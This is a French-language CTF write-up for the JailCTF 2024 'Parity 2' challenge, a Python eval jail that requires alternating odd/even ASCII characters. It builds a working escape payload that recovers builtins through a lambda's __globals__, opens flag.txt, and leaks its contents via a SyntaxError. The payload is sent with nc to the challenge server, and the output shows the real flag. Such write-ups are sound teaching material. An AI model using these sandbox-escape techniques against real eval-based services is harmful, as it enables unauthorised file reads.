MisTrale Write UpMisTrale Write Up
Buy me a coffee ☕
  • English
  • Français
GitHub
Buy me a coffee ☕
  • English
  • Français
GitHub
    • 🏁 Introduction
    • 🌟 Remerciements
  • 💀 Root-Me 20k

    • 💀 Root Me - 20k
    • ❤️ Bash - Love Me
    • 🛑 Python - Not This Way
    • 📚 NodeJs - Never Trust Node One
  • ⛓️ JailCTF-2024

    • 👮 JailCTF - 2024
    • 🔠 !Alphabeat
    • 🧑‍🦯 Blind Calc
    • 🎉 Parity 1
    • 🎈 Parity 2
    • 🪄 Pickle Magic
    • ☎️ Get and Call
    • ⁉️ No Sense
    • 🟩 Filter'd
    • 🧐 SUS Calculator
  • 🕹️ TCP1P

    • 🎮 Another Discord
  • 🧮 GCC-2024

    • 😅 soBusy
  • 🌛 Midnight

    • 🌃 Midnight
    • ✨ Privesc - 1
    • 🔑 Privesc - 2
    • 👑 Privesc - 3
    • 🎭 My Face

🎈 Parity 2

👀 Avant de commencer

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

📖 Énoncé du challenge

#!/usr/local/bin/python3

inp = input("> ")
f = lambda: None

for i, v in enumerate(inp):
    if v == "_":
        continue
    print(v, i, ord(v), i % 2 == ord(v) % 2)
    if not (ord(v) < 128 and i % 2 == ord(v) % 2):
        print('bad')
        exit()

eval(inp, {"__builtins__": None, 'f': f})

🚩 Avoir le flag

A première vue le challenge n'as pas plus changer que la version précédente. Nous avons toujours un eval, mais cette fois ci avec un scope local nous avons uniquement la fonction f qui est définie.

Premièrement, nous allons devoir récupérer un scope global pour pouvoir trouver notre open et pouvoir lire le fichier flag.txt.

Assez simplement on trouve que nous pouvons effectuer un appel à la fonction f pour obtenir un scope global.

f.__globals__["__builtins__"]["open"]('flag.txt')

Bon l'idée est la maintenant nous devons la mettre en place avec un caractère ASCII impair et un caractère ASCII pair.

inp =  """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' )"""

Pour ça on a utilisé ces tricks:

  • \t est un caractère impair
  • ` est un caractère pair
  • open est un mot-clé qui respecte les conditions de l'énoncé.
  • L'utilisation de ''"" ou nous n'avons pas besoin de mettre un + pour concaténer les strings.

A présent si nous exécutons notre code mais que pour debug nous mettons les buitins à print.

$ cat chal.py
#!/usr/local/bin/python3
inp =  """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' )"""

f = lambda: None

for i, v in enumerate(inp):
    if v == "_":
        continue
    print(v, i, ord(v), i % 2 == ord(v) % 2)
    if not (ord(v) < 128 and i % 2 == ord(v) % 2):
        print(f"bad. char: {ascii(v)}, ord: {ord(v)}, index: {i}")
        print('bad')
        exit()

inp = f"print({inp})"

eval(inp, {"__builtins__": __builtins__, 'f': f})
$ python3 main.py
<_io.TextIOWrapper name='flag.txt' mode='r' encoding='UTF-8'>

Nous avons bien notre fichier flag.txt est ouvert. Nous devons maintenant trouver un moyen de trouver ce qu'il a dans son contenu.

Et pour ça nous pouvons utilisé ce magnique tricks:

La magie du for ❤️

En python vu que nous n'avons pas de type par défault si nous effectuons un for sur des objets qui ne sont pas des listes, nous pouvons obtenir le contenu de l'objet.

$ python3
Python 3.12.5+ (heads/3.12-dirty:7dec3d7acbb, Aug 23 2024, 18:26:06) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> [ x for x in open("flag.txt") ]
['jail{flag_will_be_here_on_remote}\n']

Nous allons donc faire comme suit:

inp = """([ \tx\t \tfor\t \tx\t in\tf\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' ) ] )"""

Et comme dans la partie précédente nous allons encore appelé un eval pour que l'eval du script puisse nous cracher l'erreur donc le flag.

#!/usr/local/bin/python3

inp =  """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].eval\t(\t([ \tx\t \tfor\t \tx\t in\tf\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' ) ] ) [0] )"""

f = lambda: None

for i, v in enumerate(inp):
    if v == "_":
        continue
    print(v, i, ord(v), i % 2 == ord(v) % 2)
    if not (ord(v) < 128 and i % 2 == ord(v) % 2):
        print(f"bad. char: {ascii(v)}, ord: {ord(v)}, index: {i}")
        print('bad')
        exit()

eval(inp, {"__builtins__": None, 'f': f})

Qui nous donne:

$ python3 chal.py
Traceback (most recent call last):
  File "/mnt/c/Users/MisTrale/Desktop/Perso/CTF/WriteUps/JailCtf2024/Parity-2/main.py", line 19, in <module>
    eval(inp, {"__builtins__": None, 'f': f})
  File "<string>", line 1, in <module>
  File "<string>", line 1
    jail{flag_will_be_here_on_remote}
        ^
SyntaxError: invalid syntax

A présent nous effectuons la même chose que précédemment pour envoyer notre code au serveur.

$ cat inject.py
inp =  """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].eval\t(\t([ \tx\t \tfor\t \tx\t in\tf\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' ) ] ) [0] )"""
print(inp)
$ python3 chal.py | nc challs2.pyjail.club 7992
> Traceback (most recent call last):
  File "/app/run", line 13, in <module>
    eval(inp, {"__builtins__": None, 'f': f})
  File "<string>", line 1, in <module>
  File "<string>", line 1
    jail{parity2_1e2e8963ea65a0333f617}
        ^
SyntaxError: invalid syntax

💖 Support

👀 Avant de quitter

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github